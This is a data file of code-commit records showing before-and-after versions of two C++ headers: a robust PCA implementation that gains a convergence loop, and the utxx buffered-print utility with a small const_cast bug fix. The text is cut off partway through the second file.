{"text":"<commit_before>#ifndef ROBUST_PCA_HPP__\r\n#define ROBUST_PCA_HPP__\r\n\r\n\/\/Released under the boost licence v1.0\r\n\r\n\/*!@file\r\n * Robust PCA functions, following the paper of Soren Hausberg\r\n * @todo add proper licence\r\n\r\n *\r\n * @note These implementations assume the existence of boost somewhere. Currently, it is just used for \r\n * computing the norms of differences and to generate some random data (which is now TR1 and C++0X).\r\n *\/\r\n\r\n\r\n#include <boost\/numeric\/conversion\/bounds.hpp>\r\n#include <boost\/numeric\/ublas\/vector_expression.hpp>\r\n#include <boost\/random\/uniform_real_distribution.hpp>\r\n#include <boost\/random\/uniform_int_distribution.hpp>\r\n#include <boost\/random\/mersenne_twister.hpp>\r\n\r\n\r\n\r\nnamespace robust_pca\r\n{\r\n \r\n  \/\/! Wrapper object for infinity\/max @f$\\ell_\\infty@f$ norm.\r\n  struct norm_infinity\r\n  {\r\n    template <class vector_t>\r\n    double operator()(vector_t const& v) const\r\n    {\r\n      return boost::numeric::ublas::norm_inf(v);\r\n    }\r\n  };\r\n\r\n\r\n  \/\/! Returns the square of the @f$\\ell_2@f$ norm.\r\n  struct norm_ell2_square\r\n  {\r\n    template <class vector_t>\r\n    double operator()(vector_t const& v) const\r\n    {\r\n      double acc(0);\r\n      for(typename vector_t::const_iterator it(v.begin()), ite(v.end());\r\n          it < ite;\r\n          ++it)\r\n      {\r\n        typename vector_t::const_reference v(*it);\r\n        acc += v * v;\r\n      }\r\n      return acc;\r\n    }\r\n  };\r\n\r\n  \/\/! Returns the @f$\\ell_2@f$ norm of a vector.\r\n  struct norm2\r\n  {\r\n    typedef double result_type;\r\n    norm_ell2_square op;\r\n    template <class vector_t>\r\n    result_type operator()(vector_t const& v) const\r\n    {\r\n      return std::sqrt(op(v));\r\n    }\r\n  };\r\n\r\n\r\n  \/* @brief Checks the convergence of a numerical scheme.\r\n   *\r\n   * @tparam data_t should be default constructible and constructible with one parameter.\r\n   *\r\n   * The convergence is assumed when the norm between two subsequent states is less than a certain @f$epsilon@f$.\r\n   *\/\r\n  template <class data_t, class norm_t = norm_infinity>\r\n  struct convergence_check\r\n  {\r\n    const double epsilon;\r\n    norm_t norm_comparaison;\r\n    data_t previous_state;\r\n    convergence_check(double epsilon_) : \r\n      epsilon(epsilon_), \r\n      previous_state(std::numeric_limits<double>::max())\r\n    {}\r\n\r\n    bool operator()(data_t const& current_state)\r\n    {\r\n      return norm_comparaison(current_state - previous_state) < epsilon;\r\n    }\r\n\r\n  };\r\n\r\n\r\n  \/\/ some issues with the random number generator\r\n  const double fVeryBigButStillComputable = 1E10;\r\n  const double fVerySmallButStillComputable = -1E10;\r\n\r\n\r\n  \/*@brief Used to initialize the initial guess to some random data.\r\n   *\r\n   *@tparam data_t the type of the data returned. It should model a vector:\r\n   * - default, copy constructible and constructible with a size\r\n   * - has a member @c size returning a value of type @c data_t::Size_type\r\n   * - has a field @c data_t::Value_type\r\n   *\/\r\n  template <\r\n    class data_t, \r\n    class random_distribution_t = \r\n      typename boost::mpl::if_<\r\n        boost::is_floating_point<typename data_t::value_type>,\r\n        boost::random::uniform_real_distribution<typename data_t::value_type>,\r\n        boost::random::uniform_int_distribution<typename data_t::value_type>\r\n      >::type,\r\n    class random_number_generator_t = boost::random::mt19937\r\n  >\r\n  struct random_data_generator\r\n  {\r\n    typedef typename data_t::value_type value_type;\r\n    mutable random_number_generator_t rng;\r\n    value_type min_bound;\r\n    value_type max_bound;\r\n    \r\n    \/\/! Default construction\r\n    random_data_generator(\r\n      value_type min_value_ = boost::numeric::bounds<value_type>::lowest(),\r\n      value_type max_value_ = boost::numeric::bounds<value_type>::highest()) : \r\n      rng(), \r\n      min_bound(min_value_), \r\n      max_bound(max_value_)\r\n    {}\r\n\r\n    \/\/! Constructs from the specified seeded random number generator.\r\n    random_data_generator(\r\n      random_number_generator_t const &r,\r\n      value_type min_value_ = boost::numeric::bounds<value_type>::lowest(),\r\n      value_type max_value_ = boost::numeric::bounds<value_type>::highest()) : \r\n      rng(r),\r\n      min_bound(min_value_), \r\n      max_bound(max_value_)\r\n    {}\r\n\r\n\r\n    data_t operator()(const data_t& v) const\r\n    {\r\n      data_t out(v.size());\r\n      random_distribution_t dist(min_bound, max_bound);\r\n      for(typename data_t::size_type i(0), j(v.size()); i < j; i++)\r\n      {\r\n        out[i] = dist(rng);\r\n      }\r\n      return out;\r\n    }\r\n  };\r\n\r\n\r\n  \/*!@brief Robust PCA subspace algorithm\r\n   *\r\n   * This class implements the robust PCA using the Grassmanian averaging. This is the naive implementation which is\r\n   * suitable for small datasets. \r\n   * @todo add reference\r\n   * @author Soren Hausberg, Raffi Enficiaud\r\n   *\/\r\n  template <class data_t, class norm_2_t = norm2>\r\n  struct robust_pca_impl\r\n  {\r\n  private:\r\n    random_data_generator<data_t> random_init_op;\r\n    norm_2_t norm_op;\r\n\r\n  public:\r\n    robust_pca_impl() : random_init_op(fVerySmallButStillComputable, fVeryBigButStillComputable)\r\n    {}\r\n\r\n\r\n\r\n    \/*! Performs the computation of the current subspace on the elements given by the two iterators.\r\n     *  @tparam it_t an input iterator to vectors. Each element pointed by the underlying iterator should be iterable and\r\n     *   should provide a vector.\r\n     *  @tparam it_norm_t an output iterator on weights\/norms of the vectors. The output elements should be numerical (norm output)\r\n     *\r\n     * @param[in] initial_guess if provided, the initial vector will be initialized to this value. \r\n     *\r\n     * @pre \r\n     * - @c !(it >= ite)\r\n     * - all the vectors given by the iterators pair should be of the same size (no check is performed).\r\n     *\/\r\n    template <class it_t, class it_norm_t>\r\n    bool batch_process(it_t it, it_t const ite, it_norm_t it_norm_out, data_t const * initial_guess = 0)\r\n    {\r\n      \/\/ add some log information\r\n      if(it >= ite)\r\n      {\r\n        return false;\r\n      }\r\n\r\n      it_norm_t it_norm_out_copy(it_norm_out);\r\n      for(it_t it_copy(it); it_copy != ite; ++it_copy, ++it_norm_out_copy)\r\n      {\r\n        *it_norm_out_copy = norm_op(*it_copy);\r\n      }\r\n\r\n\r\n      \/\/ the first element is used for the init guess because for dynamic std::vector like element, the size is needed.\r\n      data_t mu(initial_guess != 0 ? *initial_guess : random_init_op(*it));\r\n\r\n      \/\/ normalizing\r\n      typename norm_2_t::result_type norm_mu(norm_op(mu));\r\n      mu \/= norm_mu;\r\n      \r\n\r\n      return true;\r\n    }\r\n\r\n    \/*!@brief Performs the projection of the data on the space orthogonal to the current subspace\r\n     *\r\n     * After having found the current subspace, all the data should be projected onto the orthogonal subspace\r\n     * of the current state.\r\n     *\/\r\n    template <class it_t>\r\n    bool projection_onto_subspace(it_t it, it_t const ite) const\r\n    {\r\n      return true;\r\n    }\r\n  };\r\n\r\n}\r\n\r\n#endif \/* ROBUST_PCA_HPP__ *\/\r\n<commit_msg>advances<commit_after>#ifndef ROBUST_PCA_HPP__\r\n#define ROBUST_PCA_HPP__\r\n\r\n\/\/Released under the boost licence v1.0\r\n\r\n\/*!@file\r\n * Robust PCA functions, following the paper of Soren Hausberg\r\n * @todo add proper licence\r\n\r\n *\r\n * @note These implementations assume the existence of boost somewhere. Currently, it is just used for \r\n * computing the norms of differences and to generate some random data (which is now TR1 and C++0X).\r\n *\/\r\n\r\n\r\n#include <boost\/numeric\/conversion\/bounds.hpp>\r\n#include <boost\/numeric\/ublas\/vector_expression.hpp>\r\n#include <boost\/random\/uniform_real_distribution.hpp>\r\n#include <boost\/random\/uniform_int_distribution.hpp>\r\n#include <boost\/random\/mersenne_twister.hpp>\r\n\r\n\r\n\r\nnamespace robust_pca\r\n{\r\n \r\n  \/\/! Wrapper object for infinity\/max @f$\\ell_\\infty@f$ norm.\r\n  struct norm_infinity\r\n  {\r\n    template <class vector_t>\r\n    double operator()(vector_t const& v) const\r\n    {\r\n      return boost::numeric::ublas::norm_inf(v);\r\n    }\r\n  };\r\n\r\n\r\n  \/\/! Returns the square of the @f$\\ell_2@f$ norm.\r\n  struct norm_ell2_square\r\n  {\r\n    template <class vector_t>\r\n    double operator()(vector_t const& v) const\r\n    {\r\n      double acc(0);\r\n      for(typename vector_t::const_iterator it(v.begin()), ite(v.end());\r\n          it < ite;\r\n          ++it)\r\n      {\r\n        typename vector_t::const_reference v(*it);\r\n        acc += v * v;\r\n      }\r\n      return acc;\r\n    }\r\n  };\r\n\r\n  \/\/! Returns the @f$\\ell_2@f$ norm of a vector.\r\n  struct norm2\r\n  {\r\n    typedef double result_type;\r\n    norm_ell2_square op;\r\n    template <class vector_t>\r\n    result_type operator()(vector_t const& v) const\r\n    {\r\n      return std::sqrt(op(v));\r\n    }\r\n  };\r\n\r\n\r\n  \/* @brief Checks the convergence of a numerical scheme.\r\n   *\r\n   * @tparam data_t should be default constructible and constructible with one parameter.\r\n   *\r\n   * The convergence is assumed when the norm between two subsequent states is less than a certain @f$epsilon@f$.\r\n   *\/\r\n  template <class data_t, class norm_t = norm_infinity>\r\n  struct convergence_check\r\n  {\r\n    const double epsilon;\r\n    norm_t norm_comparaison;\r\n    data_t previous_state;\r\n    convergence_check(data_t const& prev, double epsilon_ = 1E-5) : \r\n      epsilon(epsilon_), \r\n      previous_state(prev)\r\n    {}\r\n\r\n    bool operator()(data_t const& current_state)\r\n    {\r\n      bool ret = norm_comparaison(current_state - previous_state) < epsilon;\r\n      previous_state = current_state;\r\n      return ret;\r\n    }\r\n\r\n  };\r\n\r\n\r\n  \/\/ some issues with the random number generator\r\n  const double fVeryBigButStillComputable = 1E10;\r\n  const double fVerySmallButStillComputable = -1E10;\r\n\r\n\r\n  \/*@brief Used to initialize the initial guess to some random data.\r\n   *\r\n   *@tparam data_t the type of the data returned. It should model a vector:\r\n   * - default, copy constructible and constructible with a size\r\n   * - has a member @c size returning a value of type @c data_t::Size_type\r\n   * - has a field @c data_t::Value_type\r\n   *\/\r\n  template <\r\n    class data_t, \r\n    class random_distribution_t = \r\n      typename boost::mpl::if_<\r\n        boost::is_floating_point<typename data_t::value_type>,\r\n        boost::random::uniform_real_distribution<typename data_t::value_type>,\r\n        boost::random::uniform_int_distribution<typename data_t::value_type>\r\n      >::type,\r\n    class random_number_generator_t = boost::random::mt19937\r\n  >\r\n  struct random_data_generator\r\n  {\r\n    typedef typename data_t::value_type value_type;\r\n    mutable random_number_generator_t rng;\r\n    value_type min_bound;\r\n    value_type max_bound;\r\n    \r\n    \/\/! Default construction\r\n    random_data_generator(\r\n      value_type min_value_ = boost::numeric::bounds<value_type>::lowest(),\r\n      value_type max_value_ = boost::numeric::bounds<value_type>::highest()) : \r\n      rng(), \r\n      min_bound(min_value_), \r\n      max_bound(max_value_)\r\n    {}\r\n\r\n    \/\/! Constructs from the specified seeded random number generator.\r\n    random_data_generator(\r\n      random_number_generator_t const &r,\r\n      value_type min_value_ = boost::numeric::bounds<value_type>::lowest(),\r\n      value_type max_value_ = boost::numeric::bounds<value_type>::highest()) : \r\n      rng(r),\r\n      min_bound(min_value_), \r\n      max_bound(max_value_)\r\n    {}\r\n\r\n\r\n    data_t operator()(const data_t& v) const\r\n    {\r\n      data_t out(v.size());\r\n      random_distribution_t dist(min_bound, max_bound);\r\n      for(typename data_t::size_type i(0), j(v.size()); i < j; i++)\r\n      {\r\n        out[i] = dist(rng);\r\n      }\r\n      return out;\r\n    }\r\n  };\r\n\r\n\r\n  \/*!@brief Robust PCA subspace algorithm\r\n   *\r\n   * This class implements the robust PCA using the Grassmanian averaging. This is the naive implementation which is\r\n   * suitable for small datasets. \r\n   * @todo add reference\r\n   * @author Soren Hausberg, Raffi Enficiaud\r\n   *\/\r\n  template <class data_t, class norm_2_t = norm2>\r\n  struct robust_pca_impl\r\n  {\r\n  private:\r\n    random_data_generator<data_t> random_init_op;\r\n    norm_2_t norm_op;\r\n\r\n  public:\r\n    robust_pca_impl() : random_init_op(fVerySmallButStillComputable, fVeryBigButStillComputable)\r\n    {}\r\n\r\n\r\n\r\n    \/*! Performs the computation of the current subspace on the elements given by the two iterators.\r\n     *  @tparam it_t an input iterator to vectors. Each element pointed by the underlying iterator should be iterable and\r\n     *   should provide a vector.\r\n     *  @tparam it_norm_t an output iterator on weights\/norms of the vectors. The output elements should be numerical (norm output)\r\n     *\r\n     * @param[in] initial_guess if provided, the initial vector will be initialized to this value. \r\n     *\r\n     * @pre \r\n     * - @c !(it >= ite)\r\n     * - all the vectors given by the iterators pair should be of the same size (no check is performed).\r\n     *\/\r\n    template <class it_t, class it_norm_t>\r\n    bool batch_process(it_t it, it_t const ite, it_norm_t it_norm_out, data_t const * initial_guess = 0)\r\n    {\r\n      \/\/ add some log information\r\n      if(it >= ite)\r\n      {\r\n        return false;\r\n      }\r\n\r\n      it_norm_t it_norm_out_copy(it_norm_out);\r\n      for(it_t it_copy(it); it_copy != ite; ++it_copy, ++it_norm_out_copy)\r\n      {\r\n        *it_norm_out_copy = norm_op(*it_copy);\r\n      }\r\n\r\n\r\n      \/\/ the first element is used for the init guess because for dynamic std::vector like element, the size is needed.\r\n      data_t mu(initial_guess != 0 ? *initial_guess : random_init_op(*it));\r\n\r\n      \/\/ normalizing\r\n      typename norm_2_t::result_type norm_mu(norm_op(mu));\r\n      mu \/= norm_mu;\r\n      \r\n      \r\n\r\n      for(int current_dimension = 0; current_dimension < mu.size(); current_dimension++)\r\n      {\r\n        \/\/data_t previous_mu(mu);\r\n        convergence_check<data_t> convergence_op(mu);\r\n        for(int iterations = 0; iterations < 1000; iterations ++)\r\n        {\r\n          for(it_t it_copy(it); it_copy != ite; ++it_copy)\r\n          {\r\n            bool sign = boost::numeric::ublas::inner_prod(*it_copy, mu) < 0;\r\n          }\r\n\r\n          if(convergence_op(mu))\r\n            break;\r\n        }\r\n      }\r\n\r\n      return true;\r\n    }\r\n\r\n    \/*!@brief Performs the projection of the data on the space orthogonal to the current subspace\r\n     *\r\n     * After having found the current subspace, all the data should be projected onto the orthogonal subspace\r\n     * of the current state.\r\n     *\/\r\n    template <class it_t>\r\n    bool projection_onto_subspace(it_t it, it_t const ite) const\r\n    {\r\n      return true;\r\n    }\r\n  };\r\n\r\n}\r\n\r\n#endif \/* ROBUST_PCA_HPP__ *\/\r\n<|endoftext|>"}
{"text":"<commit_before>\/\/----------------------------------------------------------------------------\n\/\/\/ \\file  print.hpp\n\/\/----------------------------------------------------------------------------\n\/\/\/ \\brief This file contains implementation of printing functions.\n\/\/----------------------------------------------------------------------------\n\/\/ Copyright (c) 2014 Serge Aleynikov <saleyn@gmail.com>\n\/\/ Created: 2014-09-05\n\/\/----------------------------------------------------------------------------\n\/*\n***** BEGIN LICENSE BLOCK *****\n\nThis file is part of the utxx open-source project.\n\nCopyright (C) 2014 Serge Aleynikov <saleyn@gmail.com>\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n***** END LICENSE BLOCK *****\n*\/\n#ifndef _UTXX_PRINT_HPP_\n#define _UTXX_PRINT_HPP_\n\n#include <string>\n#include <type_traits>\n#include <cstdarg>\n#include <iomanip>\n#include <utxx\/scope_exit.hpp>\n#include <utxx\/compiler_hints.hpp>\n#include <utxx\/convert.hpp>\n#include <utxx\/error.hpp>\n\nnamespace utxx {\n\n\/\/\/ Output a float to stream formatted with fixed precision\nstruct fixed {\n    fixed(double a_val, int a_digits, int a_precision, char a_fill = ' ')\n        : m_value(a_val), m_digits(a_digits), m_precision(a_precision)\n        , m_fill(a_fill)\n    {}\n\n    inline friend std::ostream& operator<<(std::ostream& out, const fixed& f) {\n        return out << std::fixed << std::setfill(f.m_fill)\n                   << std::setw(f.m_digits)\n                   << std::setprecision(f.m_precision) << f.m_value;\n    }\n\n    double value()     const { return m_value;     }\n    int    digits()    const { return m_digits;    }\n    int    precision() const { return m_precision; }\n    char   fill()      const { return m_fill;      }\n\nprivate:\n    double m_value;\n    int    m_digits;\n    int    m_precision;\n    char   m_fill;\n};\n\n\nnamespace detail {\n    template <size_t N = 256, class Alloc = std::allocator<char>>\n    class basic_buffered_print : public Alloc\n    {\n        mutable char*   m_begin; \/\/ mutable so that we can write '\\0' in c_str()\n        char*           m_pos;\n        char*           m_end;\n        char            m_data[N];\n\n        void deallocate() {\n            if (m_begin == m_data) return;\n            Alloc::deallocate(m_begin, max_size());\n        }\n\n        void do_print(char a) { reserve(1); *m_pos++ = a; }\n        void do_print(bool a) {\n            reserve(5);\n            if (a) { memcpy(m_pos, \"true\", 4); m_pos += 4; }\n            else   { memcpy(m_pos, \"false\",5); m_pos += 5; }\n        }\n        void do_print(long a) {\n            reserve(20);\n            itoa(a, out(m_pos));\n        }\n        void do_print(int a) {\n            reserve(10);\n            itoa(a, out(m_pos));\n        }\n        void do_print(double a)\n        {\n            int n = ftoa_left(a, m_pos, capacity(), 6, true);\n            if (unlikely(n < 0)) {\n                n = snprintf(m_pos, capacity(), \"%.6f\", a);\n                if (unlikely(m_pos + n > m_end)) {\n                    reserve(n);\n                    snprintf(m_pos, capacity(), \"%.6f\", a);\n                }\n            }\n            m_pos += n;\n        }\n        void do_print(fixed&& a) {\n            reserve(a.digits());\n            ftoa_right(a.value(), m_pos, a.digits(), a.precision(), a.fill());\n            m_pos += a.digits();\n        }\n        void do_print(const char* a) {\n            const char* p = strchr(a, '\\0');\n            assert(p);\n            size_t n = p - a;\n            reserve(n);\n            memcpy(m_pos, a, n);\n            m_pos += n;\n        }\n        void do_print(std::string&& a) {\n            size_t n = a.size();\n            reserve(n);\n            memcpy(m_pos, a.c_str(), n);\n            m_pos += n;\n        }\n        void do_print(const std::string& a) {\n            size_t n = a.size();\n            reserve(n);\n            memcpy(m_pos, a.c_str(), n);\n            m_pos += n;\n        }\n        template <int M>\n        void do_print(const char (&a)[M]) {\n            size_t n = strnlen(a, M);\n            reserve(n);\n            memcpy(m_pos, a, n);\n            m_pos += n;\n        }\n        template <int M>\n        void do_print(const std::array<char, M>& a) {\n            size_t n = strnlen(a.data(), M);\n            reserve(n);\n            memcpy(m_pos, a, n);\n            m_pos += n;\n        }\n        template <typename T>\n        void do_print(typename std::enable_if<std::is_pointer<T>::value, T&&>::type a) {\n            auto  x = reinterpret_cast<uint64_t>(a);\n            char* p = m_pos + 2;\n            auto  n = capacity() - 2;\n            int   i = itoa_hex(x, p, n);\n            if (unlikely(i > n)) {\n                reserve(i + 2);\n                p = m_pos + 2;\n                i = itoa_hex(x, p, n);\n            }\n            *m_pos++ = '0';\n            *m_pos++ = 'x';\n            m_pos   += i;\n        }\n        template <class T>\n        void do_print(const T& a) {\n            std::stringstream s; s << a;\n            print(s.str());\n        }\n    public:\n        explicit basic_buffered_print(const Alloc& a_alloc = Alloc())\n            : Alloc(a_alloc)\n            , m_begin(m_data)\n            , m_pos(m_begin)\n            , m_end(m_begin + sizeof(m_data)-1)\n        {}\n\n        ~basic_buffered_print() {\n            deallocate();\n        }\n\n        void reset() {\n            deallocate();\n            m_begin = m_pos = m_data;\n            m_end   = m_begin + sizeof(m_data)-1;\n        }\n\n        std::string to_string() const { return std::string(m_begin, size()); }\n        const char* str()       const { return m_begin; }\n        char*       str()             { return m_begin; }\n        const char* c_str()     const { *m_pos = '\\0'; return m_begin; }\n        size_t      size()      const { return m_pos - m_begin;  }\n        const char* pos()       const { return m_pos;            }\n        char*&      pos()             { return m_pos;            }\n        void        pos(const char* p){ assert(p <= m_end); m_pos = p; }\n        size_t      max_size()  const { return m_end - m_begin;  }\n        size_t      capacity()  const { return m_end - m_pos;    }\n\n        \/\/\/ Reserve space in the buffer to hold additional \\a a_sz bytes\n        void reserve(size_t a_sz) {\n            if (m_pos + a_sz <= m_end) return;\n            auto sz = max_size() + a_sz + N;\n            char* p = Alloc::allocate(sz);\n            strncpy(p, m_begin, size());\n            m_pos   = p + size();\n            m_end   = p + sz;\n            if (m_begin != m_data)  delete [] m_begin;\n            m_begin = p;\n        }\n\n        \/\/\/ Call this function if the content of this buffer needs to be\n        \/\/\/ written to by external snprintf:\n        \/\/\/ \\code\n        \/\/\/ size_t c = buf.capacity();\n        \/\/\/ size_t n = snprintf(buf.str(), c, \"%s\", \"Something\");\n        \/\/\/ if (n > c) {\n        \/\/\/     \/\/ write didn't fit - repeat\n        \/\/\/     buf.reserve(n);\n        \/\/\/     n = snprintf(buf.str(), c, \"%s\", \"Something\");\n        \/\/\/ }\n        \/\/\/ buf.advance(n);\n        \/\/\/ \\endcode\n        void advance(size_t n) { m_pos += n; }\n\n        \/\/ Terminal case of template recursion:\n        void print() {}\n\n        template <class T, class... Args>\n        void print(T&& a, Args&&... args) {\n            do_print(std::move(a));\n            print(std::forward<Args>(args)...);\n        }\n\n        void sprint(const char* a_str, size_t a_size) {\n            reserve(a_size);\n            memcpy(m_pos, a_str, a_size);\n            m_pos += a_size;\n        }\n\n        int vprintf(const char* a_fmt, va_list a_args) {\n            int n = vsnprintf(m_pos, capacity(), a_fmt, a_args);\n            if (n < 0)\n                return n;\n            if (size_t(n) > capacity()) {\n                reserve(n);\n                n = vsnprintf(m_pos, capacity(), a_fmt, a_args);\n            }\n            m_pos += n;\n            return n;\n        }\n\n        int printf(const char* a_fmt, ...) {\n            va_list args; va_start(args, a_fmt);\n            UTXX_SCOPE_EXIT([&args]() { va_end(args); });\n            return this->vprintf(a_fmt, args);\n        }\n\n        template <typename T>\n        basic_buffered_print<N>& operator<< (T&& a) {\n            print(std::forward<T>(a));\n            return *this;\n        }\n    };\n}\n\n\/\/\/ Analogous to sprintf, but returns an std::string instead\ntemplate <int SizeHint = 256>\nstd::string print_string(const char* fmt, ...) {\n    va_list args; va_start(args, fmt);\n    UTXX_SCOPE_EXIT([&args]() { va_end(args); });\n\n    std::string buf;\n    buf.resize(SizeHint);\n    int n = vsnprintf(const_cast<char*>(buf.c_str()), buf.capacity(), fmt, args);\n\n    if (unlikely(n < 0))\n        throw io_error(errno, \"print_string(): error formatting arguments\");\n\n    buf.resize(n);\n\n    if (unlikely(n > SizeHint)) \/\/ String didn't fit - redo\n        vsnprintf(const_cast<char*>(buf.c_str()), buf.capacity(), fmt, args);\n    return buf;\n}\n\n\/\/\/ Print arguments to string.\n\/\/\/ This function is a faster alternative to printf and std::stringstream.\ntemplate <class... Args>\nstd::string print(Args&&... args) {\n    detail::basic_buffered_print<> b;\n    b.print(std::forward<Args>(args)...);\n    return b.to_string();\n}\n\nusing buffered_print = detail::basic_buffered_print<>;\n\n} \/\/ namespace utxx\n\n#endif \/\/_UTXX_PRINT_HPP_\n<commit_msg>Bug fix in print.hpp<commit_after>\/\/----------------------------------------------------------------------------\n\/\/\/ \\file  print.hpp\n\/\/----------------------------------------------------------------------------\n\/\/\/ \\brief This file contains implementation of printing functions.\n\/\/----------------------------------------------------------------------------\n\/\/ Copyright (c) 2014 Serge Aleynikov <saleyn@gmail.com>\n\/\/ Created: 2014-09-05\n\/\/----------------------------------------------------------------------------\n\/*\n***** BEGIN LICENSE BLOCK *****\n\nThis file is part of the utxx open-source project.\n\nCopyright (C) 2014 Serge Aleynikov <saleyn@gmail.com>\n\nThis library is free software; you can redistribute it and\/or\nmodify it under the terms of the GNU Lesser General Public\nLicense as published by the Free Software Foundation; either\nversion 2.1 of the License, or (at your option) any later version.\n\nThis library is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\nLesser General Public License for more details.\n\nYou should have received a copy of the GNU Lesser General Public\nLicense along with this library; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\n***** END LICENSE BLOCK *****\n*\/\n#ifndef _UTXX_PRINT_HPP_\n#define _UTXX_PRINT_HPP_\n\n#include <string>\n#include <type_traits>\n#include <cstdarg>\n#include <iomanip>\n#include <utxx\/scope_exit.hpp>\n#include <utxx\/compiler_hints.hpp>\n#include <utxx\/convert.hpp>\n#include <utxx\/error.hpp>\n\nnamespace utxx {\n\n\/\/\/ Output a float to stream formatted with fixed precision\nstruct fixed {\n    fixed(double a_val, int a_digits, int a_precision, char a_fill = ' ')\n        : m_value(a_val), m_digits(a_digits), m_precision(a_precision)\n        , m_fill(a_fill)\n    {}\n\n    inline friend std::ostream& operator<<(std::ostream& out, const fixed& f) {\n        return out << std::fixed << std::setfill(f.m_fill)\n                   << std::setw(f.m_digits)\n                   << std::setprecision(f.m_precision) << f.m_value;\n    }\n\n    double value()     const { return m_value;     }\n    int    digits()    const { return m_digits;    }\n    int    precision() const { return m_precision; }\n    char   fill()      const { return m_fill;      }\n\nprivate:\n    double m_value;\n    int    m_digits;\n    int    m_precision;\n    char   m_fill;\n};\n\n\nnamespace detail {\n    template <size_t N = 256, class Alloc = std::allocator<char>>\n    class basic_buffered_print : public Alloc\n    {\n        mutable char*   m_begin; \/\/ mutable so that we can write '\\0' in c_str()\n        char*           m_pos;\n        char*           m_end;\n        char            m_data[N];\n\n        void deallocate() {\n            if (m_begin == m_data) return;\n            Alloc::deallocate(m_begin, max_size());\n        }\n\n        void do_print(char a) { reserve(1); *m_pos++ = a; }\n        void do_print(bool a) {\n            reserve(5);\n            if (a) { memcpy(m_pos, \"true\", 4); m_pos += 4; }\n            else   { memcpy(m_pos, \"false\",5); m_pos += 5; }\n        }\n        void do_print(long a) {\n            reserve(20);\n            itoa(a, out(m_pos));\n        }\n        void do_print(int a) {\n            reserve(10);\n            itoa(a, out(m_pos));\n        }\n        void do_print(double a)\n        {\n            int n = ftoa_left(a, m_pos, capacity(), 6, true);\n            if (unlikely(n < 0)) {\n                n = snprintf(m_pos, capacity(), \"%.6f\", a);\n                if (unlikely(m_pos + n > m_end)) {\n                    reserve(n);\n                    snprintf(m_pos, capacity(), \"%.6f\", a);\n                }\n            }\n            m_pos += n;\n        }\n        void do_print(fixed&& a) {\n            reserve(a.digits());\n            ftoa_right(a.value(), m_pos, a.digits(), a.precision(), a.fill());\n            m_pos += a.digits();\n        }\n        void do_print(const char* a) {\n            const char* p = strchr(a, '\\0');\n            assert(p);\n            size_t n = p - a;\n            reserve(n);\n            memcpy(m_pos, a, n);\n            m_pos += n;\n        }\n        void do_print(std::string&& a) {\n            size_t n = a.size();\n            reserve(n);\n            memcpy(m_pos, a.c_str(), n);\n            m_pos += n;\n        }\n        void do_print(const std::string& a) {\n            size_t n = a.size();\n            reserve(n);\n            memcpy(m_pos, a.c_str(), n);\n            m_pos += n;\n        }\n        template <int M>\n        void do_print(const char (&a)[M]) {\n            size_t n = strnlen(a, M);\n            reserve(n);\n            memcpy(m_pos, a, n);\n            m_pos += n;\n        }\n        template <int M>\n        void do_print(const std::array<char, M>& a) {\n            size_t n = strnlen(a.data(), M);\n            reserve(n);\n            memcpy(m_pos, a, n);\n            m_pos += n;\n        }\n        template <typename T>\n        void do_print(typename std::enable_if<std::is_pointer<T>::value, T&&>::type a) {\n            auto  x = reinterpret_cast<uint64_t>(a);\n            char* p = m_pos + 2;\n            auto  n = capacity() - 2;\n            int   i = itoa_hex(x, p, n);\n            if (unlikely(i > n)) {\n                reserve(i + 2);\n                p = m_pos + 2;\n                i = itoa_hex(x, p, n);\n            }\n            *m_pos++ = '0';\n            *m_pos++ = 'x';\n            m_pos   += i;\n        }\n        template <class T>\n        void do_print(const T& a) {\n            std::stringstream s; s << a;\n            print(s.str());\n        }\n    public:\n        explicit basic_buffered_print(const Alloc& a_alloc = Alloc())\n            : Alloc(a_alloc)\n            , m_begin(m_data)\n            , m_pos(m_begin)\n            , m_end(m_begin + sizeof(m_data)-1)\n        {}\n\n        ~basic_buffered_print() {\n            deallocate();\n        }\n\n        void reset() {\n            deallocate();\n            m_begin = m_pos = m_data;\n            m_end   = m_begin + sizeof(m_data)-1;\n        }\n\n        std::string to_string() const { return std::string(m_begin, size()); }\n        const char* str()       const { return m_begin; }\n        char*       str()             { return m_begin; }\n        const char* c_str()     const { *m_pos = '\\0'; return m_begin; }\n        size_t      size()      const { return m_pos - m_begin;  }\n        const char* pos()       const { return m_pos;            }\n        char*&      pos()             { return m_pos;            }\n        void        pos(const char* p){ assert(p <= m_end); m_pos = const_cast<char*>(p); }\n        size_t      max_size()  const { return m_end - m_begin;  }\n        size_t      capacity()  const { return m_end - m_pos;    }\n\n        \/\/\/ Reserve space in the buffer to hold additional \\a a_sz bytes\n        void reserve(size_t a_sz) {\n            if (m_pos + a_sz <= m_end) return;\n            auto sz = max_size() + a_sz + N;\n            char* p = Alloc::allocate(sz);\n            strncpy(p, m_begin, size());\n            m_pos   = p + size();\n            m_end   = p + sz;\n            if (m_begin != m_data)  delete [] m_begin;\n            m_begin = p;\n        }\n\n        \/\/\/ Call this function if the content of this buffer needs to be\n        \/\/\/ written to by external snprintf:\n        \/\/\/ \\code\n        \/\/\/ size_t c = buf.capacity();\n        \/\/\/ size_t n = snprintf(buf.str(), c, \"%s\", \"Something\");\n        \/\/\/ if (n > c) {\n        \/\/\/     \/\/ write didn't fit - repeat\n        \/\/\/     buf.reserve(n);\n        \/\/\/     n = snprintf(buf.str(), c, \"%s\", \"Something\");\n        \/\/\/ }\n        \/\/\/ buf.advance(n);\n        \/\/\/ \\endcode\n        void advance(size_t n) { m_pos += n; }\n\n        \/\/ Terminal case of template recursion:\n        void print() {}\n\n        template <class T, class... Args>\n        void print(T&& a, Args&&... args) {\n            do_print(std::move(a));\n            print(std::forward<Args>(args)...);\n        }\n\n        void sprint(const char* a_str, size_t a_size) {\n            